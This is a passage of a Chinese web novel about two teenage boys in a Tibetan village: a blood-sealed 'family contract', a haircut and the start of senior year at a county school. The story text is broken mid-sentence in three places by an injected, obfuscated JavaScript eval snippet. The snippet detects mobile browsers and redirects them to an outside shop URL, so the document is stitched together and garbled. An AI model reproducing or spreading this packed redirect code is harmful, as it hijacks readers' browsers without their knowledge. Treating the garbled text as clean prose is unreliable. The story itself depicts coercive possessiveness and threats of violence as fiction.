紧接着,江措站了起来,高大的身形在纤细的沈泱身前投射出一片不容忽视的阴翳,江措沉声道:“沈泱,我脾气不算好。” 沈泱噌地一下从凳子上站了起来,有很多话要说,“你脾气当然不好,一点都不好!特别的不好!” 土坯房不透光,很昏暗,可能是因为这个原因,江措买的灯泡功率很大,晚上开灯,房间比白天阳光最好的时候还要亮。 江措盯着亮堂堂的灯光下,白的有些刺眼的沈泱讲道,“我愿意留下你照顾你也不是为了你舅舅回国后,给我很多钱。” 说到这件事,沈泱突然像被戳中了什么痛点的猫,一下子不吱声了。 江措用那双琥珀色的眸子盯着他,一字一词,清晰地说,“我留下你,是因为我没有家人,我很孤单,想给自己找一个家里人。” “沈泱,我没那么不求回报,我的东西就只能是我一个人的,我的人也只能是我一个人的,你如果决定留下,就是要做我的家里人,你要最重视我,最在乎我,最喜欢我。” “当然,我也会好好照顾你,像以前一样。” “你能接受吗?” “如果不能接受现在就可以离开,我不会拦着你。”江措盯着沈泱越绷越紧的小脸,扯了扯唇角,黑且直的眼睫落下来,挡住了他的眼底的深光,“你和胡大江相处的还不错吧?你可以去他家让他伺候你照顾你,不过胡大江自己都不能赚钱,他都是靠他爸妈养着他。” 沈泱又生气了,他拿起屁股后面的小板凳朝江措扔过去。 沈泱力气和准头不够,江措躲了一下,板凳在距离他两米远的地方落了地。 江措问,“沈泱,你答应我的条件吗?” 沈泱不说话。 江措前走一步,来到沈泱的面前,粗粝的手指掐着沈泱下颌,迫使他抬起脸。 沈泱的眼眶是红的,晶莹的泪珠从他湿润的眼睛里滚了出来。 江措的心脏忽然被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976516|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗眼泪烫得有点发疼。 沈泱恶狠狠地踹了几下江措的小腿,“你给我选择的机会了吗?我现在能去哪里?” 江措松开钳制着沈泱下巴的大拇指,他皮肤太娇嫩,简简单单地一碰,沈泱的下颌已经有些发红了。 大拇指搓了搓食指指腹,江措又很冷漠地想,他为什么要给沈泱选择的机会,他出生在这里给他选择的机会了吗? 而且沈泱如果有选择的机会,他会出现在偏僻落后的回宁村吗?会愿意住在江措破破旧旧的土坯房里吗?会愿意接受江措的照顾吗? 江措转身进了卧室。 沈泱抬手快速地擦了一下脸颊,心里又气冲冲地骂了好几句江措炖猪,江措炖死猪,好难听的名字,谁给他取的名字?真的是给他出了一口大恶气! 不知道过了多久,江措顿珠又出现在了他的眼前,粗糙的手掌里捏着一张泛黄的纸。 江措:“没意见就把这个签了。” 什么签了? 沈泱瞪圆眼睛,用凶神恶煞的姿态把他手里的纸张抢过来,纸应该是作业本上撕下来的,厚实的纸张带着横线。 首先映入眼帘的是最上面的那三个字,契约书。 沈泱继续往下看。 【沈泱自愿成为江措唯一的家人,从此以后,最在乎江措,最重视江措,听江措的安排,长时间和江措生活在一起,有什么事都要告诉江措。 与此同时,江措需要保护好沈泱,满足他必要且合理的一切要求,努力赚钱给沈泱提供良好的生活,把他视为生命里重要的人。】 最下面写着今天的时间和地点。 沈泱一个人在家无聊,高原上没有太多可以打发时间的事,沈泱看过江措放在房间里的课本和卷子,江措的字就和他这个人一样不好看!!!!但这几行字,看起来像模像样的,字迹工整,一笔一划都写得很分明。 “怎么?不敢写上你的名字?”江措故意嘲讽了一句。 “你才不敢!” 江措面积不大的房间里,从屋顶悬挂下来的灯泡瓦数明亮,沈泱站在江措家红漆斑驳的破旧书桌前,拿起江措的黑色中性笔,力透纸背地写下沈泱两个字。 沈泱写完后,江措拿起沈泱用过的笔,在沈泱名字的下面,快速地签下自己的名字。 笔放下,江措咬破大拇指,鲜血流出来,快染满他的指腹,江措在自己的名字上盖上鲜红的指印。 扭过头盯着沈泱。 沈泱往后退了半步。 江措扫了他眼,低头又一次咬破自己的大拇指,鲜红的血液流出来,江措拿起沈泱的手,是一个不容易抗拒的姿势,粗糙古铜色的大手和莹润纤细的手同时交错在眼底。 他垂着眼睛,将自己指腹上的鲜血全都涂抹到沈泱的大拇指指腹上。 抬起头,盯着他。 沈泱的鼻腔里发出一声重重的“哼”的音节,他前走一步,在泛黄的纸页上,沈泱两个字上,用力地按上自己的大拇指印。 10. 第 10 章 大名写好,拇指印盖上,契约书正式生效。 等契约书上的笔墨和指印干涸,江措拿了一本不用的辅导书,契约平整地拤在里面,将辅导书从原来的书桌放进并不是很保险的衣柜里,江措一言不发地去给沈泱热水洗澡。 沈泱洗澡的时候,因为觉得江措今天做了很过分的事,他要做更过分的事,把比以前更多一点的溅到水盆外,落在泥巴地上,让应该接受惩罚的江措去收拾。 洗漱完沈泱离开隔壁的房间,回到正房,趁着沈泱洗漱的时间,江措倒了两盆凉水,在院子里洗了澡。 洗完澡,江措把下颌冒出来的冷硬胡茬刮掉,偏短的头发湿漉地搭在头皮上,上半身赤裸着,站在正房的灯光下,给自己擦药消毒。 江措的身体要比裸露在外面的手和脸白一些。 右胳膊上好几条刮伤,最严重的是小臂,一条约莫七八厘米的划伤横亘在上面,伤口泛着鲜红的痕迹。 沈泱脚步顿了一下,更加用力地抿了抿唇,棉拖鞋踩在夯实的泥巴地上,发出啪嗒啪嗒的声音,他目不斜视地回到房间。 迈过门槛,沈泱瞧见房间里的布局时,脑袋里一股火气噌地冒了出来。 他和江措的两张单人床原来是一左一右分布在房间里两侧,中间放了两个小板凳充当床头柜,现在床头柜在房间的最里面了,两张小床挨在一起。 身后这时传来了脚步声,沈泱扭过脸,质问道:“你的床怎么跑到这里来了?” 江措掀了掀眼皮,没什么情绪地说:“怎么,我不能挨着你睡吗?” “当然不能!”沈泱铿锵有力地说。 江措看他一眼,没作声,径直关掉卧室的木门,抖开床上那条被沈泱嫌弃的,洗得褪色的粉色被子,脱鞋,躺了进去。 真丑!两张单人床的高矮不一样,江措的床比他的矮十几厘米,他那粉的发旧的被子太难看了,显得他藏蓝色的四件套更丑了。 沈泱站在床尾生好大的气! 沈泱盯着已经闭上眼睛的江措,忽然恶从心中来,他深吸一口气,抬起脚,用出全身的力气踹在江措应该没受伤的小腿上。 江措倏然睁开眼。 沈妄赶紧避开他的眼神,江措挡住了他从床边进被窝的路,他只能从床尾爬上床,目不转睛地爬上床,沈泱躺进柔软舒服的被窝里,闭上眼睛。 江措只是盯着沈泱,没有其他的举动,见沈泱睡下了,伸长胳膊,关掉了房间里的灯。 柔和的月色的从狭小的木窗洒进来,没有落在两张小床上的少年身上,泥巴地上被投射出一道银辉般的痕迹,沈泱和江措都在漆黑的暗影里。 沈泱背对着江措,江措也背对着沈泱,不知道过了多久,江措听到了沈泱均匀而平稳的呼吸声,江措翻了个身,脸朝着屋顶睡下了。 沈泱醒来时,窗外的太阳升了起来,他在被窝里留恋了一会儿,睁开眼睛坐了起来,余光瞥见一抹黄色,放在江措床旁边的木凳上。 是一串香蕉。 江措昨天去胡大江接自己的时候,手里没拎香蕉,只能是他最开始回家时拿回来的香蕉。 哼,他才不要吃。 沈泱换了衣服起床。 江措轻手轻脚推开木门,没看见沈泱在床上睡觉,他站在自己床边的木凳子前,手里拿着一根吃了一半的香蕉,听到动静,沈泱嘴巴里含着香蕉,扭过头看了他一眼,没对他笑。 江措垂了垂眼睛,“香蕉是我昨天下午回来的时候买的。” “真难吃!”沈泱说完,又恶狠狠地咬了一大口香蕉,腮帮子鼓鼓的。 江措心里刚生出来的一点火气霎时烟消云散,“早饭要做好了,出来吃早饭。” 沈泱睡觉的时候,江措去了趟镇子上,今天镇子上当集,热闹一些,沈泱是完完全全的汉族口味,江措买了些新鲜的牛肉,打算中午用土豆红烧。 早餐在镇子上买的牛肉包子,江措在熬粥。 这个时候,江措有点庆幸他原来在县城里的餐馆打了半年工,他们县城还挺热闹的,因为很多人来这边旅游,那家餐馆做饭也是汉族口味。 沈泱在院子里洗了脸,刷了牙,坐到了火塘前面。 稀饭有点烫,沈泱捧着碗,一次只吃很小一口,吃了几口早饭,他忽然对江措讲,“前天有人来找你了,就是那天我在你家,那个问你要钱的女人,她又来问你要钱了。” “她对你做了什么吗?”他浓黑的眉瞬间皱了起来。 “没有,我还把她骂了一顿呢。”沈泱得意洋洋地说,略过了女人也把他臭骂了一顿这种丢脸的事。 江措道:“等会儿吃完饭后,我去她家一趟。” 沈泱警惕起来,“你不会给她钱吧?” 转念一想,江措也就是原来在他面前装得好,他性格好个鬼啊,昨天晚上鬼都没他可怕,他说过不会给她钱了,应该不会怂兮兮地给她拿钱了吧。 那个女人来要钱的时候,恰好胡大江也在,胡大江说得更加详细,她被江措爹捅死的那个儿子,也是个为非作歹的人,活到三十岁,就没往家里拿过一分钱,甚至还想把他妹妹送去不正当的地方赚钱,当时因为几句口角被江措爹捅死了,对他们家来说反而是件好事。 江措这两年都给了他们很多钱了。 “不会。”江措很平静地说道,“我只是去彻底解决这件事。” 江措今天不打算去采松茸,早饭吃完,屋子收拾好,他就出门了,德吉拉姆家距离他们家大概一个小时的脚程,江措走的快,四十分钟就到他们家了,到了他们家,二话不说,先砸坏了他们家正房里的藏炉。 藏炉对藏族人家庭来说是比较重要的东西了,可以烧水做饭取暖,对于江措来说不便宜,他一个人也用不上,所以没有。 德吉拉姆一家人缩在角落里,江措高大的身形和山林的豺狼虎豹没什么区别,江措盯着他们说:“再敢去我家要钱,要一次,我就来砸一次,你说,你们家的东西能被我砸几次?” 阴恻恻的话说完,没多留,转身就走。 德吉拉姆不是特别怯弱胆小的人,可今天的江措实在是太可怕了,德吉拉姆想起上一次她去江措时,那把泛着银光的菜刀,浑身都抖了两抖。 江措不知道脑子里吃错什么药了,居然就这么变了。 可转念一想,江措顿珠并不是什么好心肠的少年,虽然江措顿珠和他父亲丹增次仁的关系很恶劣,但丹增次仁之所以能被警察抓住,是因为江措亲自带着警察找到了他爹藏身的地方。 如果没江措顿珠的帮忙,丹增次仁藏身的地方那么隐蔽,城里的警察不一定能抓住他,说不准丹增次仁就跑掉了,现在还活着呢,江措当时多大?就十四,十五岁吧,对自己的亲爹都能这么狠心,怎么能指望他是一个好人呢。 德吉拉姆看着自家被损坏的藏炉,悔不当初,早知道她前天就不去江措家问他要钱了,没了那个杀千刀的老大,这两年他们家过的比以前好多了。 江措没有把德吉拉姆一家放在心上,威胁恐吓一番,江措回到家,洗牛肉炖牛肉,沈泱坐在院子里玩手机。 胡大江就是这个时候上山的,他手里拎着一个塑料袋,是沈泱留在他家的鞋子,鞋子带有阿迪的标志,他认识这个logo,知道这双鞋不便宜。 昨天晚上江措阴沉凶狠地在他家和沈泱争吵,后面两个人又打又闹地上了山,胡大江放不下心,怕两人闹出事,就上山来看看了。 “大江。”沈泱在玩汤姆猫,看它一下一下被自己打得眼冒金星,可怜又搞笑,笑了两声,抬起眼,就看见出现在江措院门口的黄毛。 胡大江过长的头发挡住了他半张麦色的脸,“沈泱,你没事吧。” “没事啊。”沈泱不明所以地望着他。 胡大江仔仔细细地打量他一番,发现沈泱的脸蛋白白嫩嫩,还有心情在院子里玩手机,不像是有事的样子,他把手上的塑料袋递给他,“你鞋子昨天忘带了,我拿来还给你。” “江措。”沈泱冲屋子里的江措吼一声。 江措出来后,沈泱说道,“你把你弄掉的拖鞋赔给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976517|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡大江。” “不用了。”胡大江摆摆手,“一双拖鞋而已,又不贵,江措,你没事吧。” “没事。”江措说,“我今天中午炖牛肉,你爸妈不在家吧?今天在我这里吃饭?” “行啊。”胡大江挠了挠脑袋。 沈泱见白球鞋有点脏了,熟练地递给江措让他给他洗干净,江措忙完厨房里的事,利落地打了水拿了刷子在院子里给沈泱刷鞋。 沈泱站在他旁边,时不时嘟着嘴,指点他两句应该怎刷鞋,虽然沈泱从来没有刷过鞋,指点的全是不正确的刷法,江措只是不照做,并没有对沈泱的喋喋不休流露出丝毫的不满。 接下来的半个月,江措每天早出晚归,去山上挖松茸,小部分的时间去回宁村后面的山,老天爷开始下雨,山里松茸变多。 绝大部分时间还是去大愿山,那边因为危险,捡松茸的藏民少,江措每次去,都能满载而归。 去那边检松茸的时候,江措凌晨两点起床,给沈泱做好早饭和午饭,晚饭让他吃面包饼干零食,江措下午四点下山,回家都九十点了,没时间给沈泱做晚饭。 他没再让别人来山上照顾沈泱。 一转眼,七月结束了,迎来了八月。 江措开学就是高三,高三要提前去学校补课,沈泱的老师也提前联系了他,让他八月四号去学校报到。 沈泱的学籍是他的继母办好的,一个多月前,继母发现他爹带着家里剩下的钱和情人远走高飞后,过了几天,双眼红肿地告诉沈泱,她要带着纤纤回江省了。 纤纤是沈泱继母和他爸爸生的女儿。 继母是江省人,父母兄弟都在江省。 她给他买了去久塘的车票,告诉他,他大伯到时候会来接他,学籍她也给他联系好了,以后可以在那里读高三。 沈泱在开学前想要去剪一下头发,他身上的毛发稀疏,头发生长的速度却不慢,一个多月没剪头发,头发开始遮挡眼睛,今天早上,他还找了根小皮筋在头顶扎了一个小揪揪。 江措今天没去山里挖松茸了,趁着太阳不错,把屋里的被子拿出来晒。 听到沈泱说要剪头发,江措眼神凝在他身上,高原上日照强,生长在这里的百姓皮肤颜色都偏深,沈泱在这里待了一个月了,或许是不怎么出门晒太阳的原因,皮肤还是一如既往的白皙细嫩。 头发颜色却很黑,长了后显得发量极多,一个小揪揪扎在头顶,不像是养尊处优的小少爷,像是个娇气漂亮的小公主。 江措说:“你可以留长发。” 沈泱说:“哪里有男人留长发的?” 哪里有男人像你这么娇气的,江措在心里说了一句,去房间里找出一把大剪刀,“我给你剪。” “你,你能行吗?”沈泱不相信地打量他。 “我的头发都是我自己剪的。” “可是你每次都剪得很难看啊。”沈泱真心实意地讲道。 江措的头发是自己剪,沈泱看见过,就拿着手上那把大剪刀,站在院子里咔咔咔地给自己剪。 “那是因为我看不见。”江措说,“去理发店要下山上山。” 这里的山路不好走,沈泱犹犹豫豫地说:“那好吧。” 江措拿了一件他的破衣服围在沈泱雪白的脖颈上,沈泱坐在家里的高凳上,江措给他剪头发。 江措站在沈泱背后,看他的衣服插进沈泱的领口里,毫无保留地接触着沈泱细白的皮肤,浅褐色的瞳仁里,那一截后颈白的晃人。 “江措,你怎么还不开始剪?你到底会剪吗?” “开始了。”江措嗓音微微发哑。 二十分钟后,沈泱拿着江措前些日子从镇子上买回来的镜子,气得踹了江措两脚,眼睛都变红了,“你给我剪的什么头发啊,狗啃出来的也比你给我剪的好,我就说你剪不好吧。” 江措盯着沈泱头顶整齐不一,乱七八糟的发型,认命道:“我带你去镇子上剪头发。” 沈泱立刻说:“那我不要走路。” “我背你。” 11. 第 11 章 江措背着戴着草帽的沈泱下了山。 路上,碰到了几拨上山的村民,碰到人的时候,沈泱有些不好意思,想让江措放下自己,等他们离开后,他再背着他。 江措两只大手牢牢地托住沈泱饱满的屁股,没有要停下来的打算。 见几个老人目光八卦地朝他看来,沈泱立刻埋下了头,把头埋在江措的肩膀上,不让人看见。 感受到沈泱的额头,眉骨,鼻梁,全都贴在自己的肩膀上,江措放慢了一点下山的速度。 要到镇子上的时候,路变得平缓一些,江措把沈泱放下来,沈泱要自己走路。 沈泱一共来过三次镇子,头次是从蓉城过来,第二次是和胡大江下山,第一次什么心情也没有,第二次就想着胡大江借来的游戏机了,今天才有机会好好地看一看镇子。 也没什么好看的,灰扑扑的水泥公路延伸出去,两侧是两三楼高的建筑,唯一和蓉城不同的是,这边很多房子的屋檐下都绘制着艳丽繁复的图案。 镇子上没几家理发店,沈泱进了最大最亮的一家。 理发店里有四个人,两男两女,沈泱进去后就有一个肤色微黑的男生用比江措差一点的普通话问他是要洗还是剪,沈泱说洗一下再剪。 洗头发的时候,沈泱当然要用最贵的洗发水,其他的店员问过江措要不要剪头发,江措说他不剪,站在旁边,盯着躺在洗头床上洗头发的沈泱。 洗发小哥看起来不大,和自己差不多的年龄,深麦色的手指陷入沈泱柔软漆黑的头发,不停地抚摸,碰触。 还用蹩脚的汉语和他聊天,“你不是本地人吧,你好白啊,我前几天遇见几个从蓉城自驾游来玩的女孩子,都没你白,你也是蓉城人吗?你也是来玩的吗?要我给你推荐几个好玩的地方吗?” 洗发小哥热情,见沈泱不说话,自顾自地给他介绍附近一些好玩的地方,又说如果要买松茸,哪里可以买到便宜的。 沈泱烦道:“你是给我洗头发的还是找我推销的?头发给我洗干净了吗?” “洗干净了。”少年去旁边拿了一条毛巾想要给沈泱擦头发,江措说了一句,“给他拿一条没人用过的。” 什么? 沈泱立刻坐了起来,水顺着头发往下滴,他又赶紧躺了下来,不客气地说:“你拿别人用过的毛巾给我擦头发,不行,你得给我重新洗一遍!” 镇子上的人都没那么讲究,何况一人一条干毛巾那一天得用多少毛巾?毛巾都会重复利用,除非湿得厉害才会放进毛巾桶里,晚上清洗晾晒。 幸好现在没什么生意,沈泱又像是受到了很难以接受的对待,洗发小哥只好坐下来,在江措的监督下,给沈泱洗了一遍头发。 这一次洗发小哥一句话都没说了。 头发洗完,拿了一根还没客人用过的干毛巾给沈泱擦干头发,洗发小哥属于学徒,给沈泱剪头发的是一个年龄稍大一点的男生。 沈泱说了自己的要求,很简单,在他原来的头发上剪短,江措也是在他原来的头发上给他剪短,只是技术太糟糕,剪出来的头发乱七八糟,沈泱需要仔细地给对方描述一下原来的头发。 理发师的水平一般,没能剪出沈泱心目中的效果,但头发看起来还算顺眼,也不遮眼睛了,从镜子里看,沈泱也没觉得太难看。 知道这偏僻落后镇子上的理发师只有这么点手艺,沈泱抿着嘴,觉得自己只能勉为其难地接受了。 剪头发的围兜取走,理发师又插上吹风,想要给沈泱吹一吹黏在脖颈上的碎发。 一只大手伸了出来,江措说:“给我。” 男人看看沈泱又瞅瞅江措,把吹风递给江措。 江措以前没用过吹风,吹风的操作简单,他刚刚看了两次,已经看明白了,开了一个偏小的暖风,江措将吹风拿远,吹了吹沈泱脖颈上的黑色碎发。 还剩下一些黏在上面,吹不走,江措弯下腰低下头,用手指一根一根仔细轻柔地替沈泱捻走。 回村子已经是一个小时以后了,沈泱手里拿着一袋牛肉干,吃了一根觉得硬邦邦的,不好嚼,全都大方地送给江措,又去超市里买了三根雪糕,因为有三种雪糕都想吃,沈泱一样买了一根。 但是三根雪糕他吃不下,何况江措也不会同意他一次性吃三根雪糕,于是每一根雪糕吃了一半,把剩下的半根递给江措。 最后又去买了两根香蕉,沈泱还在镇子上吃了一碗牛肉面,严格来说是小半碗,七零八碎的东西太多了,有点吃不下,江措也要了一碗面,见沈泱不吃了,很自然地把沈泱剩下的半碗面倒进自己的面碗里,继续大快朵颐。 要去学校这天,江措很早起来,煮了早饭之后,开始打包行李。 沈泱的被子先用原来的包装装好,再塞进蛇皮袋,江措的几床被子随便一叠,用大塑料袋一装,塞进蛇皮口袋里。 “这个还要带去学校里呀?学校不发吗?” 江措又在装四件套了,沈泱的四件套最多用十天他就要换,江措在镇子上给他买了一套换洗的,这两套先用江措保存得很好的,质量也很好的包装袋装好,再放进蛇皮口袋里,说:“学校不发。” 沈泱有点嫌弃,很想说一句那就不能去了县城再买吗?带这么多东西坐车不麻烦吗?但不知道为什么,最后什么也没有说。 沈泱的衣服全都放进他的行李箱里,江措的衣服塞进一个蛇皮口袋里,又拿了一个江措刻意在镇子上买的洗漱用品收纳箱放沈泱的洗漱用品,牙膏牙刷牙杯洗发水沐浴露之类的。 如果不是养沈泱,江措都不知道世界上还在生产这些东西,镇子上竟然还在卖这些东西,所以江措的牙刷牙膏这次也很荣幸地有了一个豪华的地方居住。 沐浴乳和洗发水这些江措没有,他用香皂洗,这里还要回来,两块钱一大个的香皂没必要拿,他学校的宿舍里还放着。 江措以前开学就一麻袋的东西,今天收拾出来了三麻袋的东西,外加一个沈泱的大行李箱。 他找了一根木棍,挑着三大袋行李下山,另外一只手拎着沈泱的行李箱,沈泱脚上是江措刷得干干净净的白球鞋,手里只拎着一个红色塑料袋,是沈泱没吃完的零食。 今天是县城高三返校的日子,面包车比平时紧俏一些,也没有太紧俏,这里的老百姓没那么重视学习,大部分人初中没毕业,就出门去打工,或者辍学去挖虫草松茸。 江措和沈泱上了一辆面包车,这是沈泱头次坐这种车,上次从县城过来,恰好沈军安有亲戚从县城开小车回镇上,载了他们一程。 面包车可以塞七个人,江措和沈泱东西多,司机要收四个人的车费,但是他一共塞了九个人,还有三个行李比沈泱江措少一点但也要收双倍价格的学生。 沈泱坐在靠车窗的位置,江措坐在他旁边,感觉自己要被挤成沙丁鱼罐头了。 刚刚司机还想再塞一个人进来,实在没位置了,想让沈泱坐在江措身上,反正他俩认识,是一路的,可以挤一挤。 只是等了十几分钟,没有等到新的乘客,司机才被逼无奈地放弃了这个念头。 面包车的质量不太行,公路坑坑洼洼不平整,一路上沈泱就感觉自己在坐摇摇车,屁股一颠一颠,差点给他颠吐了。 最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976518|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头埋在江措的腿上,闭上眼睛睡觉,江措的手撑在他的身前,不让沈泱的身体颠下去,才好受一些。 有几个乘客在抵达县城的中途下了车,司机见车里有五个学生两个一中,三个二中,没直接把车开进县城的车站里,多绕了几步路,面包车先经过二中,让他们拿行李下车,又最后经过一中,江措把行李从后备箱里取出来。 看见一中的学校时,沈泱心里好受了一点,在颠簸的仿佛要吐出来的路上,他对一中的期待值降到了最低,做好了学校破破烂烂的准备。 县城的一中建校时间久远,在县城的中心地带,校门两侧是六楼高的住房,中间空出来三米做了个大铁门,充当一中的校门。 但走进去后,先映入眼帘的是去年新修的漂亮办公大楼,旁边的操场原来是一块草地,去年有了经费后,换成了安全漂亮的橡胶操场。 两个人行李多,江措先把东西都放进了他的宿舍里,然后带沈泱去见了他的班主任。 这一届高三一共十一个班,六个理科班,四个文科班,还有一个藏加班,江措在一班,理科重点班,沈泱被分到了四班。 四班班主任是个五十多岁的男老师,教数学的,说话带一点当地的口音,肚子有点圆,一张圆脸看起来很和善,叫林文海。 林文海先给沈泱办理了最后一道转学手续,告诉他宿舍的位置,又让他今天上晚自习之前去办公室,到时候他带他去教室认识同学。 又温和周到地嘱托道:“老师知道你是从蓉城转到这里的,如果有什么不适应的,就告诉老师,老师能帮你解决的,一定努力帮你解决。” 又叮嘱他,“今年是最后一年了,好好努力,争取考一个不错的大学。” 沈泱听完,没什么心理波动。 强烈的心理波动是抵达宿舍后,一中的住宿条件不能说特别差,最起码在这边的学生眼中,六人间,带一个独立的卫生间,不错了。 据说二中还有三四十人的宿舍,不带可冲水的卫生间,到了晚上男生宿舍一脱鞋,全是一股冲人的怪味儿。 所以,一中真的挺好的,特别好。 沈泱的宿舍在三楼,走廊的中间,窗户对着对面居民楼的墙面,几乎没采光,白天也乌漆墨黑。 开了灯,墙壁水泥的,没刷白,阴沉沉,铁架床带着斑驳的锈迹,年代久远。 宿舍的正中央放着三张公用的书桌,书桌是淘汰下来的老式木制书桌,高矮不一,上面垒着层层叠叠的中性笔圆珠笔的痕迹,凌乱地放着其他几位室友的书和练习册。 沈泱一张脸绷得紧紧的。 回宁村基本是藏族人,一中却不是,县城的海拔比回宁村要低四五百米,这附近有很多汉族,彝族,沈泱的宿舍里,就有两个汉族人。 冷不丁看到一个白得发光的少年,一个月没见的舍友们顿时停止了交谈,有些惊愕地盯着走进来的沈泱。 只需要一眼,就能发现沈泱和他们是两个世界的人,沈泱像自带一道朦白的光束从他的头顶投射下来,白到发光,遥远的让人难以接近,再一看对方双唇紧抿,心情不爽,虽然很好奇他们宿舍怎么来了这样一个学生,众人都没有说话向他打听。 307宿舍都是高三四班的学生,晚上,班主任带了一个转学生来班级上,他们才知道沈泱的名字,又知道了他是从蓉城转过来的。 蓉城可是省会,据说那里是一望无际的平原,繁华的大城市,沈泱为什么从那里转过来? 有人心里好奇,但没人真的问沈泱。 沈泱在宿舍里住了整整三天,他的情绪是在第四天早上爆发的。 12.第 12 章 一中早上七点十分上早自习,提前半个小时,宿舍里有人醒了过来。 关之豪从床上爬起来时,沈泱早就起了床,坐在宿舍中央的木椅子前,面色极其不善。 谁惹到小少爷了? 关之豪拿着洗漱用具去阳台洗脸刷牙,沈泱忽然站了起来,抬起脚,泄愤似的踹了他一脚。 沈泱的力气不轻,关之豪感受到了小腿传来的疼痛感,大吼一声道:“沈泱,你他妈想干嘛啊?” 宿舍里其他几个人本来在各忙各自的事,不约而同朝他们两人看了过来。 沈泱怒道:“关之豪,你是大卡车成精了吗?每天晚上都打呼噜,呼噜声比一百头牛在我面前叫还要响,我因为你,已经三晚上没睡着了!” 又侧过脸,盯着在一旁看热闹的洛桑次仁,“还有你,洛桑次仁,你以为你打呼噜的声音小了吗?关之豪如果是一百头牛在我身边叫,你也有九十九头牛叫!” “那你也不能打人啊。”关之豪恼羞成怒。 不能打人! 沈泱昨晚上一晚上没睡觉,情绪前所未有的烦躁,听到对方还不乖乖地认错,又抬起脚,气势汹汹地踹在关之豪的小腿上。 “你……”关之豪抬起胳膊。 他竟然还想打我!沈泱抬起手,不假思索地给了他一巴掌。 “沈泱!”关之豪咬牙切齿地盯着他,巴掌要挥下去的时候,年代久远的宿舍木门被人推开。 沈泱看到江措出现在门口,立刻告状,“江措,关之豪要揍我。” 江措在一中是个名人,他学习好,从高一到高三,长时间稳坐年级第一的宝座,除此之外,他长得很高,一米九多的身高让他的压迫性和威慑性都显得很强。 哪怕不看体型带来压迫感,考上一中的学生成绩大都不错,天然对学习成绩好的优等生有一种敬畏感。 关之豪连忙解释,“我没打他!是他,一早上起来就踹了我两脚,刚刚还扇了我一巴掌!” 江措眉头微不可察地一拧,眼神落在关之豪的脸上,关之豪和沈泱比起来,皮肤要黑许多,但他老家就在县城附近,又是汉族,海拔低,皮肤和江措比起来,要白几个度。 江措的眼神落在他脸上,没看到任何手掌印和指印。 沈泱站在高大的江措身边,气势比刚才更加有恃无恐,“还不是你每天晚上睡觉都打呼噜,我半夜叫你不要打呼噜了,喉咙都给我叫疼了,你都不醒,关之豪,我看你就是一头死猪!!” “你……”关之豪气的胸口起伏不定。 江措转过头,对沈泱说:“洗漱了吗?走吧。” 沈泱晚上被吵的睡不着,很早就起床洗漱了。 洗漱时,故意制造出很大的声音,但宿舍里其他五个人竟然都能睡得充耳不闻!!! 走出宿舍,各个寝室嘈杂的声音混在一起,沈泱蹙着眉,烦躁道:“江措,我能不能换个宿舍啊?换个没人打鼾的宿舍?” “很难,基本每个宿舍都有打鼾的男生。” “没有单人宿舍吗?” “学校还有十人间。” 如果还有单人宿舍,不可能出现十人间。 “那我怎么办啊?”沈泱说道。 他脸色委屈的像是捏坏了褶的薄皮大包子,江措盯着沈泱看了两眼,说,“我今天去请假,去学校外面租一套房子,以后我们办理走读。” 沈泱眼睛都瞪大了,惊喜道:“可以吗?” “可以。”一中原来就有一部分走读生,关于学生是否住校的管理也不严苛。 江措和沈泱去一中的食堂吃过早饭,江措找班主任请了假,接下来一整天都在学校附近找出租的房子。 晚自习的第二节下课,江措站在四班的教室门口叫了一声沈泱。 沈泱正在和旁边的同桌讲话,闻言抬起头,拉开椅子起身,在其他同学偷偷注视的眼神中,期待地朝门口的江措走去。 “找到房子了吗?”沈泱在阳台上问。 江措摇头:“看了几套,没有一套满意的。”要么临街,晚上太吵,要么房子太破,沈泱一定会嫌弃,既然决定在校外花钱租房了,江措并不愿意挑一套沈泱不喜欢的破房子。 沈泱刚刚还喜上眉梢的小脸瞬间垮了下来,“那我今晚怎么办?我想睡觉!江措!” “今晚我们去宾馆里睡觉。”江措看见沈泱的脸颊上有一根眼睫毛掉了下来,抬起指腹,帮他揩掉了。 江措手指的粗糙感和颗粒感很强烈,沈泱的皮肤又很嫩,他感受到了轻微的不适,但脑子里全被今晚去宾馆里睡觉的消息占满了,“去宾馆里睡觉?” “嗯,下课后,拿上睡衣,我们就过去。” 一中高三的晚自习要上到九点五十,下课后,沈泱回到宿舍,收拾好了今晚要用到的东西,和江措来到了学校斜对面的一家宾馆里。 这不是江措第一次住宾馆,高二去蓉城的时候,他也住过一次宾馆,只是那一次是老师帮他办理了住宿手续。 他将身份证递给前台,说开一间房。 前台问他,“要什么房,单人间?标间?三人间?还是大床房?“ 